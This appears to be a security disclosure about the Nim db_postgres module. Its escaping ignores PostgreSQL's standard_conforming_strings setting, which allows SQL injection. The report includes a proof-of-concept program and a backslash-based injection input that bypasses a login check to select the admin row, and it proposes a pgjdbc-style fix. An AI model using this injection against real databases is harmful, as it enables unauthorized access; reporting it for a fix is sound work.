db_postgres does not account for the standard_conforming_strings configuration option leading to SQL injection in parametarized queries

[nnsee]

This was originally sent to [email protected]. At this point, I was not aware that the database modules had moved out of std, which is why the text refers to it as std/db_postgres. As this issue probably does not affect many people, it will be disclosed here.

Original e-mail is as follows.

---

The std/db_postgres module supports executing queries using the parametarization syntax. For example, the following query substitutes the ? symbol with the supplied argument.

getRow(sql"SELECT username FROM users WHERE username=?;", "user")

The resulting query that the module creates would be:

SELECT username FROM users WHERE username='user';

It accomplishes this by calling dbFormat, defined here: https://github.com/nim-lang/Nim/blob/version-1-6/lib/impure/db_postgres.nim#L118

For each ? symbol encountered, it calls the dbQuote procedure with the supplied parameter, defined here: https://github.com/nim-lang/Nim/blob/version-1-6/lib/impure/db_postgres.nim#L108

It does this by escaping single quotes (replacing ' with ''), which is correct behaviour. It also attempts to escape null chars with \\0 - I wouldn't call this correct, as without standard_conforming_strings (explained later), this would not do what is implied, as backslashes do not have any special meaning with standard_conforming_strings. For reference, this is what the Utils.escapeLiteral in the official Java library org.postgresql.core does:

if (standardConformingStrings)
{
    // With standard_conforming_strings on, escape only single-quotes.
    for (int i = 0; i < value.length(); ++i)
    {
        char ch = value.charAt(i);
        if (ch == '\0')
            throw new PSQLException(GT.tr("Zero bytes may not occur in string parameters."), PSQLState.INVALID_PARAMETER_VALUE);
        if (ch == '\'')
            sbuf.append('\'');
        sbuf.append(ch);
    }
}

As can be seen, null chars are outright rejected. However, what's more important is that this takes into account whether the standard_conforming_strings configuration option is set or not. If it isn't, it enters an alternate code path where far more characters are escaped.

When the configuration option standard_conforming_strings is set to on (the default since 9.1 - prior versions defaulted to off), then the Nim module presents no vulnerability. However, on older Postgres versions or when this setting is manually set to off (which is the case more often than you might think due to compatibility reasons), SQL injection vulnerabilities are introduced due to failing to account for other characters with special meanings. More info on this configuration option can be found in the manual: https://www.postgresql.org/docs/current/runtime-config-compatible.html#GUC-STANDARD-CONFORMING-STRINGS

I will demonstrate this with the backslash character, which can be used to break the syntax of the query and escape the quoted string's ending quote.

To do this, I've set up the latest Postgres version (15.3 at the time of writing), set the configuration option standard_conforming_strings to off in my postgresql.conf file, and set up a simple table emulating an user account table:

test=# SELECT * from users;
 user_id | username |         password
---------+----------+--------------------------
       1 | admin    | supersecretadminpassword
       2 | user     | userpassword

My proof-of-concept vulnerable Nim code is simple:

import std/[db_postgres, os]

let db = db_postgres.open("localhost", "testuser", "testpass", "test")

echo db.getRow(sql"SELECT username FROM users WHERE username=? AND password=?;", paramStr(1), paramStr(2))

db.close()

Compiling and calling this using this as a regular user would works as expected:

$ ./poc 'user' 'userpassword'
@["user"]

However, by introducing a backslash, the admin account can be selected instead.

$ ./poc '\' ' OR user_id=1; --'
@["admin"]

The created SQL query is as follows:

SELECT username FROM users WHERE username='\' AND password=' OR user_id=1; --';

If the configuration option escape_string_warning is set to on, a warning also appears in the log:

WARNING:  nonstandard use of \' in a string literal at character 43
HINT:  Use '' to write quotes in strings, or use the escape string syntax (E'...').

However, in production, I have seen many environments where the configuration is still set to off (and the warning ignored or outright muted).

The hint also points to the E syntax, which lets the user arbitrarily turn off standard conforming strings in any part of the query. The vulnerability is also present in this scenario, even if the configuration option standard_conforming_strings is set to on.

---

I think the only reasonable method would be to do what the official Java library does: an alternate path for when standard_conforming_strings is set to off that also escapes backslashes: https://github.com/pgjdbc/pgjdbc/blob/master/pgjdbc/src/main/java/org/postgresql/core/Utils.java#L82

The boolean which determines whether to take that code path is stored in the connection object: https://github.com/pgjdbc/pgjdbc/blob/master/pgjdbc/src/main/java/org/postgresql/core/v3/QueryExecutorImpl.java#L2893